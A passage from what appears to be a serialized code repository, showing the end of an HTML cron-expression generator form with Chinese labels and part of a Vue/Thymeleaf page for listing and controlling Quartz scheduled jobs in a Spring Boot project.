&nbsp;自定义\n\n                            <div class=\"row\">\n                                <div class=\"secondList\" id=\"l_second\">\n\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n                    </div>\n\n\n                    <div class=\"tab-pane fade\" id=\"t_min\">\n                        <div class=\"radiocheck\"><p><input type=\"radio\" checked=\"checked\" id=\"r_minute\" name=\"min\"\n                                                          class=\"firstradio\">&nbsp;\n                            &nbsp; 每分</p></div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        <input type=\"radio\" name=\"min\" class=\"cycleradio\">\n                                        &nbsp; &nbsp;周期&nbsp; 从\n                                        <input type=\"text\" data-max=\"59\" value=\"0\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"min\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 分\n                                    </div>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        到\n\n                                        <input type=\"text\" data-max=\"59\" value=\"0\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"min\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\"  icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        分\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        <input type=\"radio\" name=\"min\" class=\"loopradio\">\n                                        &nbsp; &nbsp;循环&nbsp; 从\n                                        <input type=\"text\" data-max=\"59\" value=\"0\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"min\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 分 开始\n                                    </div>\n                                </div>\n\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        每\n\n                                        <input type=\"text\" data-max=\"59\" value=\"0\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"min\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        分 执行一次\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n                        <div class=\"radiocheck\">\n                            <p><input type=\"radio\" name=\"min\" class=\"choiceradio\">&nbsp; &nbsp;自定义\n\n                            <div class=\"row\">\n                                <div class=\"minList\" id=\"l_min\">\n\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n                    </div>\n\n                    <div class=\"tab-pane fade\" id=\"t_hour\">\n\n                        <div class=\"radiocheck\"><p><input type=\"radio\" checked=\"checked\" id=\"r_hour\" name=\"hour\"\n                                                          class=\"firstradio\">&nbsp;\n                            &nbsp; 每时</p></div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        <input type=\"radio\" name=\"hour\" class=\"cycleradio\">\n                                        &nbsp; &nbsp;周期&nbsp; 从\n                                        <input type=\"text\" data-rule=\"hour\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"hour\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 时\n                                    </div>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        到\n\n                                        <input type=\"text\" data-rule=\"hour\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"hour\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\"  icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        时\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        <input type=\"radio\" name=\"hour\" class=\"loopradio\">\n                                        &nbsp; &nbsp;循环&nbsp; 从\n                                        <input type=\"text\" data-rule=\"hour\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"hour\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 时 开始\n                                    </div>\n                                </div>\n\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        每\n\n                                        <input type=\"text\" data-rule=\"hour\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"hour\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        时 执行一次\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n                        <div class=\"radiocheck\">\n                            <p><input type=\"radio\" name=\"hour\" class=\"choiceradio\">&nbsp; &nbsp;自定义\n\n                            <div class=\"row\">\n                                <div class=\"hourList\" id=\"l_hour\">\n\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n                    </div>\n\n                    <div class=\"tab-pane fade\" id=\"t_day\">\n                        <div class=\"radiocheck\"><p><input type=\"radio\" checked=\"checked\" id=\"r_day\" name=\"day\"\n                                                          class=\"firstradio\">&nbsp;\n                            &nbsp; 每日</p></div>\n\n                        <div class=\"radiocheck\"><p><input type=\"radio\" name=\"day\" class=\"noconfirmradio\">&nbsp;\n                            &nbsp; 不指定(指定周时，日 需设置为不指定)</p></div>\n\n                        <div class=\"radiocheck\"><p><input type=\"radio\" name=\"day\" class=\"lastdayradio\">&nbsp;\n                            &nbsp; 月最后一日</p></div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        <input type=\"radio\" name=\"day\" class=\"cycleradio\">\n                                        &nbsp; &nbsp;周期&nbsp; 从\n                                        <input type=\"text\" data-rule=\"day\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"day\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 日\n                                    </div>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        到\n\n                                        <input type=\"text\" data-rule=\"day\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"day\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\"  icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        日\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        <input type=\"radio\" name=\"day\" class=\"loopradio\">\n                                        &nbsp; &nbsp;循环&nbsp; 从\n                                        <input type=\"text\" data-rule=\"day\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"day\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 日 开始\n                                    </div>\n                                </div>\n\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        每\n\n                                        <input type=\"text\" data-rule=\"day\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"day\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        日 执行一次\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-6\">\n                                    <div data-trigger=\"spinner\" class=\"nearspin\">\n                                        <input type=\"radio\" name=\"day\" class=\"nearradio\">\n                                        &nbsp; &nbsp;每月&nbsp; 离\n                                        <input type=\"text\" data-rule=\"day\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"day\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 日 最近工作日\n                                    </div>\n                                </div>\n\n                            </div>\n                            </p>\n                        </div>\n\n                        <div class=\"radiocheck\">\n                            <p><input type=\"radio\" name=\"day\" class=\"choiceradio\">&nbsp; &nbsp;自定义\n\n                            <div class=\"row\">\n                                <div class=\"dayList\" id=\"l_day\">\n\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n                    </div>\n\n                    <div class=\"tab-pane fade\" id=\"t_month\">\n\n                        <div class=\"radiocheck\"><p><input type=\"radio\" checked=\"checked\" id=\"r_month\" name=\"month\"\n                                                          class=\"firstradio\">&nbsp;\n                            &nbsp; 每月</p></div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        <input type=\"radio\" name=\"month\" class=\"cycleradio\">\n                                        &nbsp; &nbsp;周期&nbsp; 从\n                                        <input type=\"text\" data-rule=\"month\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"month\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 月\n                                    </div>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        到\n\n                                        <input type=\"text\" data-rule=\"month\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"month\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\"  icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        月\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        <input type=\"radio\" name=\"month\" class=\"loopradio\">\n                                        &nbsp; &nbsp;循环&nbsp; 从\n                                        <input type=\"text\" data-rule=\"month\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"month\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 月 开始\n                                    </div>\n                                </div>\n\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        每\n\n                                        <input type=\"text\" data-rule=\"month\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"month\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        月 执行一次\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n                        <div class=\"radiocheck\">\n                            <p><input type=\"radio\" name=\"month\" class=\"choiceradio\">&nbsp; &nbsp;自定义\n\n                            <div class=\"row\">\n                                <div class=\"monthList\" id=\"l_month\">\n\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n                    </div>\n\n\n                    <div class=\"tab-pane fade\" id=\"t_quarter\">\n                        <div class=\"radiocheck\"><p><input type=\"radio\" checked=\"checked\" id=\"r_quarter\" name=\"quarter\"\n                                                          class=\"firstradioreactor\">&nbsp;\n                            &nbsp; 不指定</p></div>\n\n\n                        <div class=\"radiocheck\">\n                            <p><input type=\"radio\" name=\"quarter\" class=\"choiceradio\">&nbsp; &nbsp;自定义\n\n                            <div class=\"row\">\n                                <div class=\"qtList\" id=\"quarter_spe\">\n                                    <div class='col-xs-1 col-sm-1 col-md-4'><label><input type='checkbox'\n                                                                                          value=\"1,4,7,10\"> &nbsp;每季度第一个月</label>\n                                    </div>\n                                    <div class='col-xs-1 col-sm-1 col-md-4'><label><input type='checkbox'\n                                                                                          value=\"2,5,8,11\"> &nbsp;每季度第二个月</label>\n                                    </div>\n                                    <div class='col-xs-1 col-sm-1 col-md-4'><label><input type='checkbox'\n                                                                                          value=\"3,6,9,12\"> &nbsp;每季度第三个月</label>\n                                    </div>\n                                </div>\n                            </div>\n                            <div class=\"row\">\n                                <div class=\"monthList\" id=\"l_quarter\">\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n                    </div>\n                    <div class=\"tab-pane fade\" id=\"t_week\">\n                        <div class=\"radiocheck\"><p><input type=\"radio\" checked=\"checked\" id=\"r_week\" name=\"week\"\n                                                          class=\"firstradio\">&nbsp;\n                            &nbsp; 每周</p></div>\n\n                        <div class=\"radiocheck\"><p><input type=\"radio\" name=\"week\" class=\"noconfirmradio\">&nbsp;\n                            &nbsp; 不指定(指定日时，周 需设置为不指定)</p></div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        <input type=\"radio\" name=\"week\" class=\"cycleradio\">\n                                        &nbsp; &nbsp;周期&nbsp; 从周\n                                        <input type=\"text\" data-rule=\"percent\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"week\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a>\n                                    </div>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        到周\n\n                                        <input type=\"text\" data-rule=\"percent\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"week\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\"  icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        <input type=\"radio\" name=\"week\" class=\"loopradio\">\n                                        &nbsp; &nbsp;循环 &nbsp;从周\n                                        <input type=\"text\" data-rule=\"percent\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"week\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 开始\n                                    </div>\n                                </div>\n\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        每隔\n\n                                        <input type=\"text\" data-rule=\"percent\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"week\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        天执行一次\n\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"designspin\">\n                                        <input type=\"radio\" name=\"week\" class=\"designradio\">\n                                        &nbsp; &nbsp;指定&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;第\n                                        <input type=\"text\" data-rule=\"percent\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"week\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 周的\n                                    </div>\n                                </div>\n\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"designspin\">\n                                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;周\n\n                                        <input type=\"text\" data-rule=\"percent\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"week\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-6\">\n                                    <div data-trigger=\"spinner\" class=\"lastspin\">\n                                        <input type=\"radio\" name=\"week\" class=\"lastradio\">\n                                        &nbsp; &nbsp;本月最后一个周\n                                        <input type=\"text\" data-rule=\"percent\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"week\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a>\n                                    </div>\n                                </div>\n\n                            </div>\n                            </p>\n                        </div>\n\n                        <div class=\"radiocheck\">\n                            <p><input type=\"radio\" name=\"week\" class=\"choiceradio\">&nbsp; &nbsp;自定义\n\n                            <div class=\"row\">\n                                <div class=\"weekList\" id=\"l_week\">\n\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n                    </div>\n                    <div class=\"tab-pane fade\" id=\"t_year\">\n                        <div class=\"radiocheck\"><p><input type=\"radio\" checked=\"checked\" id=\"r_year\" name=\"year\"\n                                                          class=\"unselectradio\">&nbsp;\n                            &nbsp; 不指定</p></div>\n                        <div class=\"radiocheck\"><p><input type=\"radio\" name=\"year\"\n                                                          class=\"firstradio\">&nbsp;\n                            &nbsp; 每年</p></div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        <input type=\"radio\" name=\"year\" class=\"cycleradio\">\n                                        &nbsp; &nbsp;周期&nbsp; 从\n                                        <input type=\"text\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"year\" value=\"2015\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a>\n                                    </div>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        到\n\n                                        <input type=\"text\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"year\" value=\"2016\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\"  icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                    </div>\n\n\n                </div>\n\n\n                <div class=\"panel panel-primary\">\n                    <div class=\"panel-heading\">\n                        <h3 class=\"panel-title\">表达式结果</h3>\n                    </div>\n\n                    <div class=\"panel-body\">\n                        <div class=\"table-responsive\">\n                            <table class=\"table table-bordered\">\n\n                                <thead>\n                                <tr>\n                                    <th>秒</th>\n                                    <th>分</th>\n                                    <th>时</th>\n                                    <th>日</th>\n                                    <th>月</th>\n                                    <th>周</th>\n                                    <th>年</th>\n\n                                </tr>\n                                </thead>\n                                <tbody>\n                                <tr>\n                                    <td><span name=\"v_second\">*</span></td>\n                                    <td><span name=\"v_min\">*</span></td>\n                                    <td><span name=\"v_hour\">*</span></td>\n                                    <td><span name=\"v_day\">*</span></td>\n                                    <td><span name=\"v_month\">*</span></td>\n                                    <td><span name=\"v_week\">?</span></td>\n                                    <td><span name=\"v_year\"></span></td>\n                                </tr>\n                                </tbody>\n                            </table>\n\n                        </div>\n\n                        <div class=\"well well-sm\">\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-2\">\n                                    <b>Cron表达式：</b>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-12 col-md-8\">\n                                    <input type=\"text\" name=\"cron\" style=\"width: 100%;\" value=\"* * * * * ?\" id=\"cron\"/>\n                                    <input type=\"hidden\" id=\"transCron\" name=\"transCron\" value=\"\"/>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-12 col-md-2\">\n                                    <a id=\"explain\" href=\"javascript:void(0)\"\n                                       class=\"button button-3d button-primary button-rounded button-small\">解析到生成器</a>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n\n            </div>\n        </div>\n    </div>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/templates/task/index.html",
    "content": "<!DOCTYPE html>\n<html xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>任务首页 - 科帮网</title>\n    <meta name=\"author\" content=\"小柒2012\" />\n    <meta name=\"site\" content=\"https://blog.52itstyle.com\" />\n    <link rel=\"stylesheet\" th:href=\"@{/iview/iview.css}\">\n    <script th:src=\"@{/libs/jquery-3.2.1.min.js}\" type=\"text/javascript\"></script>\n\t<script th:src=\"@{/libs/vue.min.js}\" type=\"text/javascript\"></script>\n\t<script th:src=\"@{/layer/layer.js}\" type=\"text/javascript\"></script>\n\t<script th:src=\"@{/iview/iview.min.js}\" type=\"text/javascript\"></script>\n\t<script th:src=\"@{/common.js}\" type=\"text/javascript\"></script>\n    <style type=\"text/css\">\n\t[v-cloak] {\n\t\t\t  display: none;\n\t\t\t}\n\t</style>\n</head>\n<body>\n<div id=\"app\" v-cloak>\n        <div style=\"margin-bottom: 6px;margin: 30px\">\n\t\t\t<i-input v-model=\"content\" placeholder=\"任务名称\"  style=\"width: 300px\"></i-input>\n\t\t\t<i-button type=\"primary\" @click=\"search()\" icon=\"ios-search\">搜索</i-button>\n\t\t\t<i-button type=\"primary\" @click=\"empty()\" icon=\"ios-close-empty\">清空</i-button>\n\t\t\t<i-button type=\"primary\" style=\"float: right;\" @click=\"add()\" icon=\"person-add\">新增</i-button>\n\t\t</div>\n\t\t<div style=\"margin-bottom: 6px;margin: 30px\">\n\t\t\t<template> \n\t\t\t\t<i-table border :content=\"self\" :columns=\"tableTitle\" :data=\"JobData\"></i-table>\n\t\t\t \t<br>\n\t\t\t \t<!-- 待实现分页功能 -->\n\t\t\t\t<!-- <Page :current=\"teacher.pageNumber\" :total=\"tableSize\" :page-size=\"pageSize\"  @on-change=\"changePage\" @on-page-size-change=\"changePageSize\" show-elevator show-sizer show-total></Page> --> \n\t\t\t</template>\n\t\t</div>\n</div>\n<script type=\"text/javascript\">\nvar vm = new Vue({\n\tel : '#app',\n\tdata : {\n\t\tcontent : '',\n\t\tpageNo : 0,\n\t\tpageSize : 10,\n\t\tjobName : \"\",\n\t\tJobData : [],\n\t\ttableTitle:[ {\n\t\t\tkey : \"jobName\",\n\t\t\ttitle : \"任务名称\"\n\t\t}, {\n\t\t\tkey : \"jobGroup\",\n\t\t\ttitle : \"任务分组\"\n\t\t}, {\n\t\t\tkey : \"description\",\n\t\t\ttitle : \"描述\"\n\t\t}, {\n\t\t\tkey : \"jobClassName\",\n\t\t\ttitle : \"执行类\"\n\t\t}, {\n\t\t\tkey : \"jobMethodName\",\n\t\t\ttitle : \"执行方法\"\n\t\t}, {\n\t\t\tkey : \"cronExpression\",\n\t\t\ttitle : \"执行时间\"\n\t\t}, {\n\t\t\ttitle : '操作',\n\t\t\tkey : 'action',\n\t\t\twidth : 400,\n\t\t\talign : 'left',\n\t\t\trender : function(h, params) {\n\t\t\t\tvar functionList = [];\n\t\t\t\t//执行\n\t\t\t\tvar trigger = h('Button', {\n\t\t\t\t\tprops : {\n\t\t\t\t\t\ttype : 'primary',\n\t\t\t\t\t\ticon : 'arrow-swap'\n\t\t\t\t\t},\n\t\t\t\t\tstyle : {\n\t\t\t\t\t\tmarginRight : '8px'\n\t\t\t\t\t},\n\t\t\t\t\ton : {\n\t\t\t\t\t\tclick : function() {\n\t\t\t\t\t\t\tvm.trigger(params.row.jobName,params.row.jobGroup);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}, '执行');\n\t\t\t\tfunctionList.push(trigger);\n\t\t\t\t//修改\n\t\t\t\tvar edit = h('Button', {\n\t\t\t\t\tprops : {\n\t\t\t\t\t\ttype : 'primary',\n\t\t\t\t\t\ticon : 'edit'\n\t\t\t\t\t},\n\t\t\t\t\tstyle : {\n\t\t\t\t\t\tmarginRight : '8px'\n\t\t\t\t\t},\n\t\t\t\t\ton : {\n\t\t\t\t\t\tclick : function() {\n\t\t\t\t\t\t\tvm.edit(params.row);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}, '修改');\n\t\t\t\tfunctionList.push(edit);\n\t\t\t\t//移除\n\t\t\t\tvar remove = h('Button', {\n\t\t\t\t\tprops : {\n\t\t\t\t\t\ttype : 'primary',\n\t\t\t\t\t\ticon : 'close'\n\t\t\t\t\t},\n\t\t\t\t\tstyle : {\n\t\t\t\t\t\tmarginRight : '8px'\n\t\t\t\t\t},\n\t\t\t\t\ton : {\n\t\t\t\t\t\tclick : function() {\n\t\t\t\t\t\t\tvm.remove(params.row.jobName,params.row.jobGroup);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}, '移除');\n\t\t\t\tfunctionList.push(remove);\n\t\t\t\tif(params.row.triggerState==\"PAUSED\"){\n\t\t\t\t\t//恢复\n\t\t\t\t\tvar resume = h('Button', {\n\t\t\t\t\t\tprops : {\n\t\t\t\t\t\t\ttype : 'primary',\n\t\t\t\t\t\t\ticon : 'ios-reload'\n\t\t\t\t\t\t},\n\t\t\t\t\t\tstyle : {\n\t\t\t\t\t\t\tmarginRight : '8px'\n\t\t\t\t\t\t},\n\t\t\t\t\t\ton : {\n\t\t\t\t\t\t\tclick : function() {\n\t\t\t\t\t\t\t\tvm.resume(params.row.jobName,params.row.jobGroup);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}, '恢复');\n\t\t\t\t\tfunctionList.push(resume);\n\t\t\t\t}else{\n\t\t\t\t\t//停止\n\t\t\t\t\tvar pause = h('Button', {\n\t\t\t\t\t\tprops : {\n\t\t\t\t\t\t\ttype : 'primary',\n\t\t\t\t\t\t\ticon : 'ios-pause'\n\t\t\t\t\t\t},\n\t\t\t\t\t\tstyle : {\n\t\t\t\t\t\t\tmarginRight : '8px'\n\t\t\t\t\t\t},\n\t\t\t\t\t\ton : {\n\t\t\t\t\t\t\tclick : function() 